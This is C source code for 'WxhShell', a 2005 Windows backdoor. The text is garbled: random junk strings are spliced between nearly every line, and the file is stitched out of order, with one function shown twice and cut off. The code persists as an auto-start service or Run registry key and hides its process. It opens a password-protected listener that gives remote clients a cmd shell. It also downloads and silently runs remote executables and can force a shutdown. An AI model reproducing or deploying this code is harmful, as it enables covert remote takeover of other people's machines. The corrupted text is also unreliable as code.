\f static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m]ALW0 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uVZX53 ,g jG/@kh*m HANDLE hProcess; zIc_'Z,b PROCESS_BASIC_INFORMATION pbi; Ez Xi*/ "'I|#dKoG HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rCdTn+O2 if(NULL == hInst ) return 0; %u*HNo G~zP&9N| g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sl G%o5|m g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _qSVYVJ u NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XlxM.;i0H LP//\E_] if (!NtQueryInformationProcess) return 0; =5 $BR<' 3 E!F8GZ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ce1U}">11 if(!hProcess) return 0; -nGLmMvd P,K^oz} if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EnYEAjX ?p &Xf>K CloseHandle(hProcess); J L2g!n=
K 'LLpP#( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rTA#4.*& if(hProcess==NULL) return 0; _>Oc>.MB qGECw# HMODULE hMod; D4U<Rn6N_5 char procName[255]; Ak,T{;rD unsigned long cbNeeded; wl%I(Cw{] B3&ETi5NTU if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S+-V16{i X;yThb`iI CloseHandle(hProcess); SM[VHNr,- .|2[!7CXH if(strstr(procName,"services")) return 1; // 以服务启动 z_nY>_L83* IMHt#M` return 0; // 注册表启动 X/A(8rvCr } dY.NQ1@" mZL0<vU@^ // 主模块 Ihx[S!: int StartWxhshell(LPSTR lpCmdLine) !+3nlG4cw { 6@=ipPCR SOCKET wsl; *30T$_PiX| BOOL val=TRUE; li%A?_/m<& int port=0; t^g+nguz struct sockaddr_in door; \_t[\&.a} -@mcu{& if(wscfg.ws_autoins) Install(); 23P7%\ 3u1\zse port=atoi(lpCmdLine); \&^U9=uq p)* x7~3e if(port<=0) port=wscfg.ws_port; +Al*MusS y6 gaoj WSADATA data; z/f0.RJ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L
[X"N fWl #CI\] if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (Iv*sd
* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wo\O0?d3{ door.sin_family = AF_INET; iq3TP5%i door.sin_addr.s_addr = inet_addr("127.0.0.1"); \qB.>f"%p| door.sin_port = htons(port); zKNac[: He}"e&K if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h%Uq closesocket(wsl); (T =u_oe return 1; MQlGEJ } LCok4N$o D
#C\| E: if(listen(wsl,2) == INVALID_SOCKET) { c) _u^Dh closesocket(wsl); 8l>YpS*S^ return 1; '$q3 Ze } q
7hoI] Wxhshell(wsl); u Uh6/=y WSACleanup(); MUMB\K*$ $~'G<YYF4 return 0; Ej$oRo{IG Nq[-.}Z6 } \N)!]jq cs)R8vuB)z // 以NT服务方式启动 qDjH^f VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -hZw.eChQa { ]t_ Wl1*| DWORD status = 0; Y|-:z@n6C DWORD specificError = 0xfffffff; |uM(A~? Fuo.8 serviceStatus.dwServiceType = SERVICE_WIN32; '2m"ocaf serviceStatus.dwCurrentState = SERVICE_START_PENDING; Xb1is\JB serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fTd":F serviceStatus.dwWin32ExitCode = 0; OTmr-l6 serviceStatus.dwServiceSpecificExitCode = 0; Q*R9OF serviceStatus.dwCheckPoint = 0; qex::Qf serviceStatus.dwWaitHint = 0; +Q+!# c"NGE hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )wk9(|[o if (hServiceStatusHandle==0) return; \1#~]1~
s FES0lw{G# status = GetLastError(); r-&* `Jh if (status!=NO_ERROR) o>yo9n%t { xm> y3WC serviceStatus.dwCurrentState = SERVICE_STOPPED; WWv.kglz serviceStatus.dwCheckPoint = 0; kvam`8SeL serviceStatus.dwWaitHint = 0; /1?{,Das= serviceStatus.dwWin32ExitCode = status; `k3sl
0z% serviceStatus.dwServiceSpecificExitCode = specificError; BqDOo(%1) SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hh &s.ja return; gTg[!}_;\N } {1'M76T cEEnR1 serviceStatus.dwCurrentState = SERVICE_RUNNING; F& ['w-n% serviceStatus.dwCheckPoint = 0; /5Xt<7vm8 serviceStatus.dwWaitHint = 0; %TzdpQp" if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); phy:G}F6% } )9kp[hY cxnEcX\ // 处理NT服务事件,比如:启动、停止 &8hW~G>(m VOID WINAPI NTServiceHandler(DWORD fdwControl) k j&hn { @Pf['BF" switch(fdwControl) 7h\U}! { QX+&[G!DZH case SERVICE_CONTROL_STOP: [B%:!Q)@ serviceStatus.dwWin32ExitCode = 0; {N@tJ,Fh{ serviceStatus.dwCurrentState = SERVICE_STOPPED; 6x@4gPy[ serviceStatus.dwCheckPoint = 0; ~oeX0l>F serviceStatus.dwWaitHint = 0; 6tup^Rlo;$ { #x(3>} SetServiceStatus(hServiceStatusHandle, &serviceStatus); LEY k } k<%y+v return; (^^}Ke{J case SERVICE_CONTROL_PAUSE: oC(.u ? serviceStatus.dwCurrentState = SERVICE_PAUSED; RHuc#b0 break; lt#3&@<v
case SERVICE_CONTROL_CONTINUE: cd)}a_9 serviceStatus.dwCurrentState = SERVICE_RUNNING; {$v>3FG break; ?cgb3^R' case SERVICE_CONTROL_INTERROGATE: 29f4[V X break; 0#/Pc`zC }; cfPQcB>A SetServiceStatus(hServiceStatusHandle, &serviceStatus); q=+wQ[a< } b
R9iqRbn 8lF:70wia // 标准应用程序主函数 ^\3z$ntF int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5>rjL; { 'UB"z{w% [<VyH. // 获取操作系统版本 g HKA:j`c OsIsNt=GetOsVer(); -m Sf`1l0 GetModuleFileName(NULL,ExeFile,MAX_PATH); [.>g.p,; KwhATYWQb // 从命令行安装 [ejl #'*5 if(strpbrk(lpCmdLine,"iI")) Install(); wQ\bGBks =[`gfw // 下载执行文件 ;>jOB>b{h if(wscfg.ws_downexe) { XF99h&;9 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <Sp>uhet1 WinExec(wscfg.ws_filenam,SW_HIDE); Z8WBOf*~e } y(jd$GM| iU4Z9z! if(!OsIsNt) { : W0;U // 如果时win9x,隐藏进程并且设置为注册表启动 '! ~s= HideProc(); 64f6D"." StartWxhshell(lpCmdLine); rqhRrG{L|& } P^'}3*8S else 8<Ex` if(StartFromService()) N-}|!pqb // 以服务方式启动 Q=#!wWVP StartServiceCtrlDispatcher(DispatchTable); jQpG7H else k]yv#Pa // 普通方式启动 _sIr'sR~ StartWxhshell(lpCmdLine); wyv%c/WlS ]}nX$xy return 0; (z X&feq } C<N7zM wT Px?0)^"2 0<]]q[pr -d6PXf5 =========================================== ]0;,M G3de<?K.[V =+VI{~.|} &_$xMM,X D?r% Y !&Us^Q^ " \D}$foHg 4
zipgw #include <stdio.h> n2&M?MGX #include <string.h> WmZ,c_ #include <windows.h> *5R91@xt #include <winsock2.h> c_syJ< #include <winsvc.h> y?8V'.f| #include <urlmon.h> PsI{y&. wbh^ZMQ #pragma comment (lib, "Ws2_32.lib") seNH/pRb #pragma comment (lib, "urlmon.lib") qF4DX$$< _H$Z}2g<z #define MAX_USER 100 // 最大客户端连接数 2w/qH4 #define BUF_SOCK 200 // sock buffer c/`Rv{*'o #define KEY_BUFF 255 // 输入 buffer mv1|oFVW Cj#?Z7}z #define REBOOT 0 // 重启 :w:ql/?X #define SHUTDOWN 1 // 关机 [3io6XG x@ V-zF'KI[ #define DEF_PORT 5000 // 监听端口 :*)b<:4 ]C$$Cx)Ex #define REG_LEN 16 // 注册表键长度 \`WAG>'l5 #define SVC_LEN 80 // NT服务名长度 vjYG>YhV T%1Kh'92 // 从dll定义API H^8t/h typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |p":s3K"Hy typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]d,#PF typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R!7a;J} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d$v{oC} 8:}$L)[V // wxhshell配置信息
3vF-SgCV struct WSCFG { "
{Nw K int ws_port; // 监听端口 =N{-lyr) char ws_passstr[REG_LEN]; // 口令
H9rZWc"* int ws_autoins; // 安装标记, 1=yes 0=no qN6GLx% char ws_regname[REG_LEN]; // 注册表键名 Oa-~}hN char ws_svcname[REG_LEN]; // 服务名 lK #~lC char ws_svcdisp[SVC_LEN]; // 服务显示名 2%t!3F: char ws_svcdesc[SVC_LEN]; // 服务描述信息 vmT6^G char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2Jn?'76` int ws_downexe; // 下载执行标记, 1=yes 0=no f'B#h;` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K yp(dp> char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D }EH9d \t]aBT, };
"'mr0G9X 'pl){aL`@u // default Wxhshell configuration 4t0-L]v4.* struct WSCFG wscfg={DEF_PORT, j0IuuJ+ "xuhuanlingzhe", !6{b)P 1, B~/ejC! "Wxhshell", &3'zG) "Wxhshell", ?1lx8+ "WxhShell Service", N;XJMk_ H "Wrsky Windows CmdShell Service", |NaEXzo|qY "Please Input Your Password: ", +/2: 1, ]e]hA@4 "http://www.wrsky.com/wxhshell.exe", vKNxL^x "Wxhshell.exe" v9vY#W }; R86:1 *(]@T@yN // 消息定义模块 "AMsBvzgo char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =/F\_/Xw char *msg_ws_prompt="\n\r? for help\n\r#>"; kNTxYJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 407;M%?'A char *msg_ws_ext="\n\rExit."; aW#_"Y}v' char *msg_ws_end="\n\rQuit."; h*?/[XY char *msg_ws_boot="\n\rReboot..."; t^@4n&Dg char *msg_ws_poff="\n\rShutdown..."; 0Kenyn4 ? char *msg_ws_down="\n\rSave to "; &\s>PvnquX "Kt[jV;6 char *msg_ws_err="\n\rErr!"; [:C!g#o char *msg_ws_ok="\n\rOK!"; Xu&4|$wB+ MA5BTq<& char ExeFile[MAX_PATH]; ?3Dsz int nUser = 0; vCtag]H2@ HANDLE handles[MAX_USER]; 6d|%8.q1 int OsIsNt; >,%7bq=T! N^&T5cAC SERVICE_STATUS serviceStatus; NuKx{y}P SERVICE_STATUS_HANDLE hServiceStatusHandle; oi}\;TG `(?x@Y>.Ht // 函数声明 {"w4+m~+te int Install(void); |&a[@(N:zf int Uninstall(void); ^)|1T#Tz int DownloadFile(char *sURL, SOCKET wsh); bLi>jE.%. int Boot(int flag); p3(&9~s void HideProc(void); }9ZcO\M int GetOsVer(void); 5T;,wQ< int Wxhshell(SOCKET wsl); cE0Kvqe` void TalkWithClient(void *cs); $2\k| @)s int CmdShell(SOCKET sock); YC0FXN V int StartFromService(void); *FEY"W+bY int StartWxhshell(LPSTR lpCmdLine); 9Fm><,0'u
'HDbU#vD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .]W A/} VOID WINAPI NTServiceHandler( DWORD fdwControl ); Uw5`zl 3xz{[ 5<p // 数据结构和表定义 1]j_4M14aA SERVICE_TABLE_ENTRY DispatchTable[] = &`4v,l^Zi6 { k,nRC~Irh {wscfg.ws_svcname, NTServiceMain}, K# dV. {NULL, NULL} 0q
^dpM }; Zf%6U[{ T ;qT7BUh(% // 自我安装
[{!5{k! int Install(void) 1p9+c~4l: { }];_ug*
" char svExeFile[MAX_PATH]; ^ 04|tda HKEY key; ^zr]#`@G strcpy(svExeFile,ExeFile); B?tO&$s Pkw` o # // 如果是win9x系统,修改注册表设为自启动 U4@W{P02 if(!OsIsNt) { 'F@#.Op` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]1<O [d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >HXmpu.O RegCloseKey(key); +k4SN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h&6v&%S/L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *m[ow s RegCloseKey(key); <C9_5Ce~ return 0; 8L7ZWw
d } #7A_p8 } D>Qc/+ } ?"[h P=3J else { I5J9,j Gp/yr // 如果是NT以上系统,安装为系统服务 q={\|j$X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]}&f<X if (schSCManager!=0) $lMEZt8A { =pP0dvn SC_HANDLE schService = CreateService /)` kYD6 ( q0hg0DC[; schSCManager, )} H46 wscfg.ws_svcname, p}'uCT
ga wscfg.ws_svcdisp, 2 nRL;[L*. SERVICE_ALL_ACCESS, E5<}7Pt SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VfiMR%i} SERVICE_AUTO_START, NN9`jP2 SERVICE_ERROR_NORMAL, H `V3oS~} svExeFile, (fjAsbT NULL, ]7, mo NULL, /8SQmh$+e NULL, 6*<=(SQI NULL, nVC:5ie NULL 1wa zJj=v ); hd2 X/" if (schService!=0) )c#m<_^
{ ]jz%])SzH CloseServiceHandle(schService); [1Yx#t CloseServiceHandle(schSCManager); 9s-op:5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z;{3RWV strcat(svExeFile,wscfg.ws_svcname); m b\}F9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zW_V)UNe RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /i]!=~\qFs RegCloseKey(key); VzR(OB return 0; *$Df)iI6 } [~ sXjaL8 } <z*SO
a CloseServiceHandle(schSCManager); DVNGV } 0omg%1vt<A } !ACWv*pW <ealt return 1; K`nI$l7hg } j3bTa|UdT %7PprN0> // 自我卸载 6.Nu[-? int Uninstall(void) uLsGb=m%b { `A)9 HKEY key; s9<fPv0w U3+{!}gn if(!OsIsNt) { ~O)Uz| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .3%eSbt0 RegDeleteValue(key,wscfg.ws_regname); :Gh*
d) RegCloseKey(key); @83h/Wcxd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uw@z1'D[i" RegDeleteValue(key,wscfg.ws_regname); ,x?H]a) RegCloseKey(key); {g2cm'hD return 0; IPU'M*|Q } _,i]ra{% } oVsj
Q } bUC-} else { fn zj@_{| iAX\F` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j w)Lofn if (schSCManager!=0) ~a[]4\m; { YWSo:)LY SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pCz;km if (schService!=0) "msCiqF{z { x=yU
}lsV if(DeleteService(schService)!=0) { x-0IxWD% CloseServiceHandle(schService); oAX -Sg-/$ CloseServiceHandle(schSCManager);
';x .ry return 0; /LM*nN$% } AF1";duA CloseServiceHandle(schService); <R7*00 } `)F lb|da CloseServiceHandle(schSCManager); w|x=^ } z
I`'n%n= } )EYsqj %Yg;s'F>#q return 1; I?v)>||Q } XnQd(B`M .*>LD // 从指定url下载文件 OE-$P int DownloadFile(char *sURL, SOCKET wsh) Hw5\~!FX { 0}q ij HRESULT hr; PKR0y%Ar char seps[]= "/"; rm>;B
*; char *token; v#.FK:u} char *file; 36JVnW; char myURL[MAX_PATH]; BbZ-dXC< char myFILE[MAX_PATH]; D>,]EE- H*3f8A&@s strcpy(myURL,sURL); ,~FyC_%*
token=strtok(myURL,seps); `LnL d;Z while(token!=NULL) V-CPq { {nT !|S)$ file=token; -[s*R%w token=strtok(NULL,seps); 0k>NuIIP } :tM|$TZ Z!C\n[R/ GetCurrentDirectory(MAX_PATH,myFILE); Z~8Xp strcat(myFILE, "\\"); _> .TB\ strcat(myFILE, file); |v8 >22y send(wsh,myFILE,strlen(myFILE),0); 9u1)Kr=e send(wsh,"...",3,0); ]DdD
FLM hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4x=rew>Ew if(hr==S_OK) Mk=
tS+ return 0; /a6\G.C5 else *}3e'0` return 1; *Xt#04_ r_]wa } C/e`O|G jHBn^Nly // 系统电源模块 mwCNfwb: int Boot(int flag) -B$oq8)n* { {$>*~.Wu HANDLE hToken; kR6rf_-[ TOKEN_PRIVILEGES tkp; <"/Y`/ JiP]FJ; if(OsIsNt) { &6,GX7]Fo OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *%'4.He7V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h$~ NPX tkp.PrivilegeCount = 1; %|Gi'-'|b$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YWM$% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9x&,`95O if(flag==REBOOT) { z7MJxjH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <(?ahO5 return 0; jt
tlzCDn } OnF+ else { @\Sa) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oScHmGFv return 0; RX>kOp29 } M{zzXE[@ } S
D]d/|y else { IoJkM-^H&) if(flag==REBOOT) { X.xp'/d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W<yh{u&, return 0; Q5r cPU>A } KwWqsuju else { TxwZA if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~MyP4x/ return 0; /J3e[?78u } )qD%5} t } 5bv(J
T Uk-^n~y return 1; jN 5Hku[? } gnNMuqt V8NNIS // win9x进程隐藏模块 ;f[Ki$7 void HideProc(void) 6*kY7 { 0 '~Jr\4 6=90 wu3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?;+=bKw0 if ( hKernel != NULL ) sL~TV([6/ { Hm`9M.5b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oj$D3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3w
?)H FreeLibrary(hKernel); c>!>D7:7 } >t'/(y KI-E=<zt return; !zvKl;yT } it5].A& waQNX7Xdn // 获取操作系统版本 HvK<>9 int GetOsVer(void) ;yY>SaQ { <y6M@(b OSVERSIONINFO winfo; :r:5a(sq winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v(FO8*5DZ GetVersionEx(&winfo); Dq*>+1eW2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !s?vj
< return 1; '7
6}6G% else nBaY| return 0; sJ7r9O`x } YQ4;X8I`r Bca\grA // 客户端句柄模块 9,82Uta int Wxhshell(SOCKET wsl) Sq UoXNw { '_g8fz
3 SOCKET wsh; jbn{5af struct sockaddr_in client; Ngu+V DWORD myID; engql; QSAz:Yvf| while(nUser<MAX_USER) EHcqj;@m { X;v/$=-mz int nSize=sizeof(client); =:1f
0QF wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "xa<Q%hk if(wsh==INVALID_SOCKET) return 1; j?+FS`a! Xl2Fgg}# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y{s?]hLk if(handles[nUser]==0) :!N 5daK closesocket(wsh); t\CVL?e` else Zdl Z,vK^. nUser++; _V1O =iu- } Up*p*(d3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hrNri$
|M[E^ return 0; k^p|H: } MH 'S,^J tKo^A:M // 关闭 socket un6grvxr void CloseIt(SOCKET wsh) C"<l} { }7g\1l\ closesocket(wsh); ,@khV nUser--; aa.EtKl ExitThread(0); S$%T0~PR~ } j S')!Wcu c*1t<OAS~ // 客户端请求句柄 68*h#& void TalkWithClient(void *cs) bb$1RLyRL { +su>0'a giyKEnP SOCKET wsh=(SOCKET)cs; KU"?ZI char pwd[SVC_LEN]; y!1%Kqx1,n char cmd[KEY_BUFF]; l-XiQ#-{ char chr[1]; ]V<[W,*(5 int i,j; )T(xQ2&r4 H"WkyvqXb while (nUser < MAX_USER) { 82YTd(yB $s/N;E!t if(wscfg.ws_passstr) { 6sRn_y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tt{,f1v0t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .2C}8GGC' //ZeroMemory(pwd,KEY_BUFF); gvr"F i=0; +%7yJmMw while(i<SVC_LEN) { AGx]srl a"b9h{h@ // 设置超时 9<.FwV> fd_set FdRead; F6}Pwz[c struct timeval TimeOut; }C}~)qaZv+ FD_ZERO(&FdRead); ,1Suq\
L FD_SET(wsh,&FdRead); (NFq/w% TimeOut.tv_sec=8; q<@f3[A TimeOut.tv_usec=0; 6U @3
xU` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
zKx?cEpE if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <[Q#}/$" (VO)
Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w_ kHy_) pwd=chr[0]; q^JJ5{36e if(chr[0]==0xd || chr[0]==0xa) { {e/12q pwd=0; RN5\,>+ break; ]-bA{@tP. } PM=Q\0 i++; ,LSF@1|Fx } (i.MxGDd ]N*q3 y|) // 如果是非法用户,关闭 socket 0F1 a if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); drBWo|/ } 54JZEc d8C?m*3J send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !?DPI) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4+:Q" );kO27dg while(1) { aG%KiJ7KEN ~x)Awdlu ZeroMemory(cmd,KEY_BUFF); QjWv?tm 'aBX>M // 自动支持客户端 telnet标准 y5kqnibh@ j=0; czi$&(N0w$ while(j<KEY_BUFF) { Y1rU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -n?|,cO cmd[j]=chr[0]; |+~CdA if(chr[0]==0xa || chr[0]==0xd) { Pg{Dy>&2`I cmd[j]=0; pZ/x,b#. break; 7
}4T)k(a } 5,:>.LRA j++; YjdCCju } b*',(J94 #|v\UJ:Pf/ // 下载文件 L}h?nWm8 if(strstr(cmd,"http://")) { ZK[4 n5} send(wsh,msg_ws_down,strlen(msg_ws_down),0); izebQVQO* if(DownloadFile(cmd,wsh)) azr|Fz/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); -N<s = else ax[-907 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T6=c9f?7 } EFW'D=&h8 else { M9.jJf ^o,P>u!9 switch(cmd[0]) { Vk5}d[[l "diF$Lj // 帮助 &{!FE`ZC_ case '?': { Y/2@PzA| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wrf(' break; KqG:o+V= } WNrgqyM // 安装 XpJT/&4 case 'i': { b/:9^&z if(Install()) v?,_SVgAi send(wsh,msg_ws_err,strlen(msg_ws_err),0); G%Hr c else yd$_XWp?\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -K0>^2hh break; hD/bgquT } 7<*sP%6bD // 卸载 0UB)FK,9 case 'r': { %"r3{Hs if(Uninstall()) z4!TK ps send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?x7zYE,6 else @]uvpI!h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gXZC%S break; o9(:m } '`p#%I@ // 显示 wxhshell 所在路径 _Jx.?8 case 'p': { T?4MFx# char svExeFile[MAX_PATH]; bX6eNk-L strcpy(svExeFile,"\n\r"); 2 DJs'"8 strcat(svExeFile,ExeFile); 1Jg&L~Ws" send(wsh,svExeFile,strlen(svExeFile),0); y2;uG2IS_g break; yDg`9q.ckm } ?){V7<'?y // 重启 2a'b}<|[( case 'b': { 5Mf bO3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5,cq-` if(Boot(REBOOT)) J.W0F# ? send(wsh,msg_ws_err,strlen(msg_ws_err),0); X,y0J else { qF C0$:z& closesocket(wsh); xok8 ExitThread(0); Hphvsre< } 0"o%=i; break; w[}5qAI5*f } tGDsZ;3Yr // 关机 LG0+A}E=C case 'd': { a'u:1C^\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C ?JcCD2 if(Boot(SHUTDOWN)) XZde}zUWn send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZjF5*A8l else { pKJ0+mN#" closesocket(wsh); :c[iS~ ~Y ExitThread(0); w/BaaF.0 } _^]2??V break; -7,xjn } ;*>Y8^K&Q // 获取shell EVZuwbO)| case 's': { }iZO0C CmdShell(wsh); 2L Kpwz? closesocket(wsh); L}NckL ExitThread(0); P>n}\"z4 break; .`*h2 } w g?GEY // 退出 j;}!Yn case 'x': { -XBD WV send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i,|2F9YH CloseIt(wsh); `d]D=DtH break; BQ!v\1'C } l&}3M // 离开 HjCcfOej case 'q': { {ZQ|Ydpk send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xy/lsaVskX closesocket(wsh); ]yI~S( WSACleanup(); :Rl*64}
exit(1); zt,pV\| break; Af y\:&j } F|9 :$Jpw! } J:WO%P=Q } fGGGz$;N U0>Uqk", // 提示信息 $p? gai{o if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cn+'!?!d, } 0*$? =E } Q#!|h:K **p|g<wvY* return; PCKgdh}, } Zw6UH;5 [C_Dv-d // shell模块句柄 y/{&mo1\ int CmdShell(SOCKET sock) xg*)o* ? { /WqiGkHV* STARTUPINFO si; %z1y3I|`[t ZeroMemory(&si,sizeof(si)); $;~ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %4 9^S& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l@C39VP PROCESS_INFORMATION ProcessInfo; K`%{(^}. char cmdline[]="cmd"; C.su<B? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,Hq*zc c return 0; cvSr><( } O$SQzLZx& (rF XzCI // 自身启动模式 `wrN$& int StartFromService(void) =?9z6= { lO)-QE+ typedef struct 6IRzm6d { .zDm{_' DWORD ExitStatus; U42B(ow DWORD PebBaseAddress; ?
}t[ DWORD AffinityMask; {Ee[rAVGp DWORD BasePriority; |, ws 3 ULONG UniqueProcessId; tUzef ULONG InheritedFromUniqueProcessId; [OTZ"XQLI } PROCESS_BASIC_INFORMATION; )GgO=J:o .MUoNk! PROCNTQSIP NtQueryInformationProcess; ..u2IdEu PO1|l-v<Yq static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )o51QgPy static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #21t8 3/d`s0O HANDLE hProcess; $K-od3h4= PROCESS_BASIC_INFORMATION pbi; r*I u6 @xu/&pbI HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4\Nt"#U)g if(NULL == hInst ) return 0; h4N%(?7 Pgdv)i3 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BZUA/;Hz & g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hlIh(\JZ4s NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~:PuKx )wFr%wNe if (!NtQueryInformationProcess) return 0; "V7
